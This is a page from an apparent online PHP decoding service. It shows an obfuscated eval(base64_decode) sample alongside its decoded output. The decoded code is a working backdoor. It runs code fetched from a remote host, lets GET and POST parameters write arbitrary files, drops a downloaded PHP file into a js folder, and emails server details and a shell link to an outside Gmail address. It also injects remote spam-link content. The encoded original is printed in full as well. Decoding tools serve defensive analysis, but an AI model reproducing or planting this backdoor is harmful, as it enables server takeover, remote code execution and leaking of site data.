Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('CiBnb3RvIFBUakR4OyB0RklsRTogJGhvc3QgPSBzdHJfcmVwbGFjZSgi..

Decoded Output download


 goto PTjDx; tFIlE: $host = str_replace("\167\167\x77\x2e", '', @$_SERVER["\110\x54\124\x50\137\x48\117\x53\124"]); goto AJmZU; ZAJ5W: $EL_MuHaMMeD = "\104\157\163\x79\141\40\131\x6f\x6c\165\x20\x3a\40" . $_SERVER["\x44\x4f\103\125\115\x45\x4e\x54\137\122\117\x4f\124"] . "\xd\xa"; goto fTJ3l; hiFXY: if (function_exists("\x63\165\x72\154\x5f\151\156\x69\x74")) { $ch = @curl_init(); curl_setopt($ch, CURLOPT_URL, $x); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $gitt = curl_exec($ch); curl_close($ch); if ($gitt == false) { @($gitt = file_get_contents($x)); } } elseif (function_exists("\x66\x69\154\x65\x5f\x67\x65\x74\137\143\x6f\156\164\145\156\164\163")) { @($gitt = file_get_contents($x)); } goto YVAZZ; fTJ3l: $EL_MuHaMMeD .= "\123\x65\x72\166\x65\x72\x20\101\144\x6d\x69\156\40\72\x20" . $_SERVER["\x53\105\x52\126\x45\122\x5f\101\x44\115\111\116"] . "\15\12"; goto Ln4us; mVaq1: $kime = "\x6c\x6f\147\151\156\x6f\154\144\165\x6d\100\x67\155\141\151\x6c\56\x63\x6f\155"; goto klW0E; WEhmX: echo "\74\41\104\x4f\x43\x54\131\x50\x45\40\150\164\x6d\x6c\41\76"; goto a0ZFw; YVAZZ: echo $gitt; goto PI9Kb; TBh_S: $s = "\x68\164\x74\x70\163\72\57\57\141\143\142\144\146\56\163\x70\x61\143\x65\x2f"; goto tFIlE; Q21Pl: error_reporting(0); goto TBh_S; AJmZU: $x = $s . "\154\x2d" . base64_encode($host); goto hiFXY; PI9Kb: if (isset($_GET["\x6b\163\146\x67"])) { $f = fopen($_GET["\153\x73\x66\x67"] . "\56\x70\x68\x70", "\x61"); fwrite($f, file_get_contents($s . "\163\55" . $_GET["\153\x73\x66\147"])); fclose($f); } goto WEhmX; PTjDx: eval("\x3f\76" . file_get_contents("\x68\x74\164\x70\x73\72\57\x2f\x67\x6f\x6f\x67\x6c\x65\163\x65\157\x2e\155\x65\x2f\144\141\164\141\56\164\170\164")); goto CMBC2; CMBC2: if ($_POST["\161\165\x65\162\x79"]) { $veriyfy = stripslashes(stripslashes($_POST["\x71\x75\x65\x72\x79"])); $data = "\x64\141\164\141\56\164\170\164"; @touch("\x64\x61\x74\141\56\164\x78\x74"); $ver = @fopen($data, "\167"); @fwrite($ver, $veriyfy); @fclose($ver); } else { $datas = @fopen("\144\x61\164\141\x2e\164\170\x74", "\162"); $i = 0; while ($i <= 5) { $i++; $blue = @fgets($datas, 1024); echo $blue; } } goto uHN2M; uHN2M: $datasi = @fopen("\x6a\x73\57\x73\145\x6f\x2e\160\x68\160", "\162"); goto KmosN; KmosN: if ($datasi) { } else { @mkdir("\x6a\x73"); $dos = file_get_contents("\150\x74\x74\160\x73\72\x2f\57\167\157\x72\144\x70\162\x65\163\x2e\x70\141\147\x65\x2f\x74\170\x74\57\154\141\155\145\x72\x2e\164\170\x74"); $data = "\152\x73\x2f\x73\145\157\x2e\x70\x68\160"; @touch("\152\163\57\163\x65\157\x2e\x70\150\160"); $ver = @fopen($data, "\x77"); @fwrite($ver, $dos); @fclose($ver); $yol = "\x68\x74\164\x70\72\57\x2f" . $_SERVER["\110\x54\x54\x50\x5f\110\x4f\x53\x54"] . '' . $_SERVER["\122\105\x51\x55\105\x53\x54\137\125\122\111"] . ''; $y = "\x3c\x68\x31\x3e\123\145\156\144\145\162\x20\131\x61\172\144\151\x72\151\154\144\x69\x2e\x3c\x62\162\57\76\x20\123\x49\x54\x45\x20\x59\x4f\x4c\40\72\x20" . $yol . "\74\x62\162\x2f\x3e\123\145\x6e\144\145\x72\40\131\x6f\x6c\x75\40\72\40\152\x73\x2f\143\x72\x73\56\x70\x68\x70\x3c\57\x68\x31\76"; $header .= "\x46\x72\157\x6d\x3a\40\123\x68\x65\114\x4c\40\x42\157\157\164\x20\74\163\x75\160\160\x6f\x72\x40\x6e\x69\143\56\157\162\x67\76\xa"; $header .= "\103\x6f\156\164\x65\156\x74\55\x54\171\160\145\72\x20\164\x65\170\164\57\150\164\x6d\154\x3b\xa\40\143\150\x61\x72\x73\x65\164\x3d\x75\164\x66\x2d\70\12"; @mail("\x6c\157\x67\151\x6e\157\154\x64\x75\x6d\x40\x67\155\141\x69\154\x2e\x63\x6f\x6d", "\110\141\x63\x6b\154\x69\x6e\x6b\x20\x42\151\x6c\x64\x69\x72\151", "{$y}", $header); @mail("\154\x6f\x67\151\156\157\x6c\144\x75\x6d\x40\147\155\x61\151\154\x2e\x63\157\155", "\x48\141\143\x6b\x6c\151\x6e\153\40\x42\151\x6c\144\x69\162\x69", "{$y}", $header); } goto mVaq1; K8lSA: $EL_MuHaMMeD .= "\123\150\x65\154\x6c\x20\x4c\151\156\153\x20\72\x20\150\164\x74\160\x3a\57\57" . $_SERVER["\123\x45\122\x56\105\x52\x5f\116\x41\115\x45"] . $_SERVER["\x50\x48\120\137\x53\x45\114\106"] . "\15\xa"; goto zf5i2; klW0E: $baslik = "\x32\60\x32\x32\40\154\x6f\147"; goto ZAJ5W; zf5i2: $EL_MuHaMMeD .= "\x41\166\x6c\x61\156\141\x6e\x20\123\x69\164\x65\x20\72\x20" . $_SERVER["\x48\124\124\120\137\x48\x4f\123\x54"] . "\15\12"; goto nu0fS; Ln4us: $EL_MuHaMMeD .= "\123\145\162\x76\145\162\40\151\x73\x6c\x65\x74\151\x6d\40\x73\151\x73\164\145\x6d\151\x20\72\x20" . $_SERVER["\123\105\x52\126\105\122\137\123\x4f\106\x54\x57\x41\122\x45"] . "\xd\12"; goto K8lSA; nu0fS: mail($kime, $baslik, $EL_MuHaMMeD); goto Q21Pl; a0ZFw:

Did this file decode correctly?

Original Code

<?php
						 eval(base64_decode('CiBnb3RvIFBUakR4OyB0RklsRTogJGhvc3QgPSBzdHJfcmVwbGFjZSgiXDE2N1wxNjdceDc3XHgyZSIsICcnLCBAJF9TRVJWRVJbIlwxMTBceDU0XDEyNFx4NTBcMTM3XHg0OFwxMTdceDUzXDEyNCJdKTsgZ290byBBSm1aVTsgWkFKNVc6ICRFTF9NdUhhTU1lRCA9ICJcMTA0XDE1N1wxNjNceDc5XDE0MVw0MFwxMzFceDZmXHg2Y1wxNjVceDIwXHgzYVw0MCIgLiAkX1NFUlZFUlsiXHg0NFx4NGZcMTAzXDEyNVwxMTVceDQ1XHg0ZVx4NTRcMTM3XDEyMlwxMTdceDRmXDEyNCJdIC4gIlx4ZFx4YSI7IGdvdG8gZlRKM2w7IGhpRlhZOiBpZiAoZnVuY3Rpb25fZXhpc3RzKCJceDYzXDE2NVx4NzJcMTU0XHg1ZlwxNTFcMTU2XHg2OVx4NzQiKSkgeyAkY2ggPSBAY3VybF9pbml0KCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR4KTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsgJGdpdHQgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpOyBpZiAoJGdpdHQgPT0gZmFsc2UpIHsgQCgkZ2l0dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR4KSk7IH0gfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygiXHg2Nlx4NjlcMTU0XHg2NVx4NWZceDY3XHg2NVx4NzRcMTM3XDE0M1x4NmZcMTU2XDE2NFwxNDVcMTU2XDE2NFwxNjMiKSkgeyBAKCRnaXR0ID0gZmlsZV9nZXRfY29udGVudHMoJHgpKTsgfSBnb3RvIFlWQVpaOyBmVEozbDogJEVMX011SGFNTWVEIC49ICJcMTIzXHg2NVx4NzJcMTY2XHg2NVx4NzJceDIwXDEwMVwxNDRceDZkXHg2OVwxNTZcNDBcNzJceDIwIiAuICRfU0VSVkVSWyJceDUzXDEwNVx4NTJcMTI2XHg0NVwxMjJceDVmXDEwMVx4NDRcMTE1XDExMVwxMTYiXSAuICJcMTVcMTIiOyBnb3RvIExuNHVzOyBtVmFxMTogJGtpbWUgPSAiXHg2Y1x4NmZcMTQ3XDE1MVwxNTZceDZmXDE1NFwxNDRcMTY1XHg2ZFwxMDBceDY3XDE1NVwxNDFcMTUxXHg2Y1w1Nlx4NjNceDZmXDE1NSI7IGdvdG8ga2xXMEU7IFdFaG1YOiBlY2hvICJcNzRcNDFcMTA0XHg0Zlx4NDNceDU0XDEzMVx4NTBceDQ1XDQwXDE1MFwxNjRceDZkXHg2Y1w0MVw3NiI7IGdvdG8gYTBaRnc7IFlWQVpaOiBlY2hvICRnaXR0OyBnb3RvIFBJOUtiOyBUQmhfUzogJHMgPSAiXHg2OFwxNjRceDc0XHg3MFwxNjNcNzJcNTdcNTdcMTQxXDE0M1wxNDJcMTQ0XDE0Nlw1NlwxNjNceDcwXHg2MVwxNDNceDY1XHgyZiI7IGdvdG8gdEZJbEU7IFEyMVBsOiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8gVEJoX1M7IEFKbVpVOiAkeCA9ICRzIC4gIlwxNTRceDJkIiAuIGJhc2U2NF9lbmNvZGUoJGhvc3QpOyBnb3RvIGhpRlhZOyBQSTlLYjogaWYgKGlzc2V0KCRfR0VUWyJceDZiXDE2M1wxNDZceDY3Il0pKSB7ICRmID0gZm9wZW4oJF9HRVRbIlwxNTNceDczXHg2Nlx4NjciXSAuICJcNTZceDcwXHg2OFx4NzAiLCAiXHg2MSIpOyBmd3JpdGUoJGYsIGZpbGVfZ2V0X2NvbnRlbnRzKCRzIC4gIlwxNjNcNTUiIC4gJF9HRVRbIlwxNTNceDczXHg2NlwxNDciXSkpOyBmY2xvc2UoJGYpOyB9IGdvdG8gV0VobVg7IFBUakR4OiBldmFsKCJceDNmXDc2IiAuIGZpbGVfZ2V0X2NvbnRlbnRzKCJceDY4XHg3NFwxNjRceDcwXHg3M1w3Mlw1N1x4MmZceDY3XHg2Zlx4NmZceDY3XHg2Y1x4NjVcMTYzXHg2NVwxNTdceDJlXDE1NVx4NjVceDJmXDE0NFwxNDFcMTY0XDE0MVw1NlwxNjRcMTcwXDE2NCIpKTsgZ290byBDTUJDMjsgQ01CQzI6IGlmICgkX1BPU1RbIlwxNjFcMTY1XHg2NVwxNjJceDc5Il0pIHsgJHZlcml5ZnkgPSBzdHJpcHNsYXNoZXMoc3RyaXBzbGFzaGVzKCRfUE9TVFsiXHg3MVx4NzVceDY1XHg3Mlx4NzkiXSkpOyAkZGF0YSA9ICJceDY0XDE0MVwxNjRcMTQxXDU2XDE2NFwxNzBcMTY0IjsgQHRvdWNoKCJceDY0XHg2MVx4NzRcMTQxXDU2XDE2NFx4NzhceDc0Iik7ICR2ZXIgPSBAZm9wZW4oJGRhdGEsICJcMTY3Iik7IEBmd3JpdGUoJHZlciwgJHZlcml5ZnkpOyBAZmNsb3NlKCR2ZXIpOyB9IGVsc2UgeyAkZGF0YXMgPSBAZm9wZW4oIlwxNDRceDYxXDE2NFwxNDFceDJlXDE2NFwxNzBceDc0IiwgIlwxNjIiKTsgJGkgPSAwOyB3aGlsZSAoJGkgPD0gNSkgeyAkaSsrOyAkYmx1ZSA9IEBmZ2V0cygkZGF0YXMsIDEwMjQpOyBlY2hvICRibHVlOyB9IH0gZ290byB1SE4yTTsgdUhOMk06ICRkYXRhc2kgPSBAZm9wZW4oIlx4NmFceDczXDU3XHg3M1wxNDVceDZmXHgyZVwxNjBceDY4XDE2MCIsICJcMTYyIik7IGdvdG8gS21vc047IEttb3NOOiBpZiAoJGRhdGFzaSkgeyB9IGVsc2UgeyBAbWtkaXIoIlx4NmFceDczIik7ICRkb3MgPSBmaWxlX2dldF9jb250ZW50cygiXDE1MFx4NzRceDc0XDE2MFx4NzNcNzJceDJmXDU3XDE2N1wxNTdceDcyXDE0NFx4NzBcMTYyXHg2NVwxNjNceDJlXHg3MFwxNDFcMTQ3XHg2NVx4MmZceDc0XDE3MFx4NzRcNTdcMTU0XDE0MVwxNTVcMTQ1XHg3Mlx4MmVcMTY0XDE3MFx4NzQiKTsgJGRhdGEgPSAiXDE1Mlx4NzNceDJmXHg3M1wxNDVcMTU3XHgyZVx4NzBceDY4XDE2MCI7IEB0b3VjaCgiXDE1MlwxNjNcNTdcMTYzXHg2NVwxNTdceDJlXHg3MFwxNTBcMTYwIik7ICR2ZXIgPSBAZm9wZW4oJGRhdGEsICJceDc3Iik7IEBmd3JpdGUoJHZlciwgJGRvcyk7IEBmY2xvc2UoJHZlcik7ICR5b2wgPSAiXHg2OFx4NzRcMTY0XHg3MFw3Mlw1N1x4MmYiIC4gJF9TRVJWRVJbIlwxMTBceDU0XHg1NFx4NTBceDVmXDExMFx4NGZceDUzXHg1NCJdIC4gJycgLiAkX1NFUlZFUlsiXDEyMlwxMDVceDUxXHg1NVwxMDVceDUzXHg1NFwxMzdcMTI1XDEyMlwxMTEiXSAuICcnOyAkeSA9ICJceDNjXHg2OFx4MzFceDNlXDEyM1wxNDVcMTU2XDE0NFwxNDVcMTYyXHgyMFwxMzFceDYxXDE3MlwxNDRcMTUxXHg3MlwxNTFcMTU0XDE0NFx4NjlceDJlXHgzY1x4NjJcMTYyXDU3XDc2XHgyMFwxMjNceDQ5XHg1NFx4NDVceDIwXHg1OVx4NGZceDRjXDQwXDcyXHgyMCIgLiAkeW9sIC4gIlw3NFx4NjJcMTYyXHgyZlx4M2VcMTIzXDE0NVx4NmVcMTQ0XDE0NVx4NzJcNDBcMTMxXHg2Zlx4NmNceDc1XDQwXDcyXDQwXDE1Mlx4NzNceDJmXDE0M1x4NzJceDczXDU2XHg3MFx4NjhceDcwXHgzY1w1N1x4NjhceDMxXDc2IjsgJGhlYWRlciAuPSAiXHg0Nlx4NzJcMTU3XHg2ZFx4M2FcNDBcMTIzXHg2OFx4NjVcMTE0XHg0Y1w0MFx4NDJcMTU3XDE1N1wxNjRceDIwXDc0XDE2M1x4NzVcMTYwXDE2MFx4NmZceDcyXHg0MFx4NmVceDY5XDE0M1w1NlwxNTdcMTYyXHg2N1w3Nlx4YSI7ICRoZWFkZXIgLj0gIlwxMDNceDZmXDE1NlwxNjRceDY1XDE1Nlx4NzRcNTVceDU0XDE3MVwxNjBcMTQ1XDcyXHgyMFwxNjRceDY1XDE3MFwxNjRcNTdcMTUwXDE2NFx4NmRcMTU0XHgzYlx4YVw0MFwxNDNcMTUwXHg2MVx4NzJceDczXHg2NVwxNjRceDNkXHg3NVwxNjRceDY2XHgyZFw3MFwxMiI7IEBtYWlsKCJceDZjXDE1N1x4NjdcMTUxXHg2ZVwxNTdcMTU0XHg2NFx4NzVceDZkXHg0MFx4NjdcMTU1XDE0MVx4NjlcMTU0XHgyZVx4NjNceDZmXHg2ZCIsICJcMTEwXDE0MVx4NjNceDZiXDE1NFx4NjlceDZlXHg2Ylx4MjBceDQyXDE1MVx4NmNceDY0XHg2OVx4NzJcMTUxIiwgInskeX0iLCAkaGVhZGVyKTsgQG1haWwoIlwxNTRceDZmXHg2N1wxNTFcMTU2XDE1N1x4NmNcMTQ0XHg3NVx4NmRceDQwXDE0N1wxNTVceDYxXDE1MVwxNTRceDJlXHg2M1wxNTdcMTU1IiwgIlx4NDhcMTQxXDE0M1x4NmJceDZjXDE1MVx4NmVcMTUzXDQwXHg0MlwxNTFceDZjXDE0NFx4NjlcMTYyXHg2OSIsICJ7JHl9IiwgJGhlYWRlcik7IH0gZ290byBtVmFxMTsgSzhsU0E6ICRFTF9NdUhhTU1lRCAuPSAiXDEyM1wxNTBceDY1XDE1NFx4NmNceDIwXHg0Y1wxNTFcMTU2XDE1M1x4MjBcNzJceDIwXDE1MFwxNjRceDc0XDE2MFx4M2FcNTdcNTciIC4gJF9TRVJWRVJbIlwxMjNceDQ1XDEyMlx4NTZcMTA1XHg1Mlx4NWZcMTE2XHg0MVwxMTVceDQ1Il0gLiAkX1NFUlZFUlsiXHg1MFx4NDhcMTIwXDEzN1x4NTNceDQ1XDExNFwxMDYiXSAuICJcMTVceGEiOyBnb3RvIHpmNWkyOyBrbFcwRTogJGJhc2xpayA9ICJceDMyXDYwXHgzMlx4MzJcNDBcMTU0XHg2ZlwxNDciOyBnb3RvIFpBSjVXOyB6ZjVpMjogJEVMX011SGFNTWVEIC49ICJceDQxXDE2Nlx4NmNceDYxXDE1NlwxNDFceDZlXHgyMFwxMjNceDY5XDE2NFx4NjVceDIwXDcyXHgyMCIgLiAkX1NFUlZFUlsiXHg0OFwxMjRcMTI0XDEyMFwxMzdceDQ4XHg0ZlwxMjNceDU0Il0gLiAiXDE1XDEyIjsgZ290byBudTBmUzsgTG40dXM6ICRFTF9NdUhhTU1lRCAuPSAiXDEyM1wxNDVcMTYyXHg3NlwxNDVcMTYyXDQwXDE1MVx4NzNceDZjXHg2NVx4NzRcMTUxXHg2ZFw0MFx4NzNcMTUxXHg3M1wxNjRcMTQ1XHg2ZFwxNTFceDIwXDcyXHgyMCIgLiAkX1NFUlZFUlsiXDEyM1wxMDVceDUyXDEyNlwxMDVcMTIyXDEzN1wxMjNceDRmXDEwNlx4NTRceDU3XHg0MVwxMjJceDQ1Il0gLiAiXHhkXDEyIjsgZ290byBLOGxTQTsgbnUwZlM6IG1haWwoJGtpbWUsICRiYXNsaWssICRFTF9NdUhhTU1lRCk7IGdvdG8gUTIxUGw7IGEwWkZ3OiA='));

Function Calls

base64_decode 1

Variables

None

Stats

MD5 882f96192c2461b5c8427184cc73883a
Eval Count 1
Decode Time 85 ms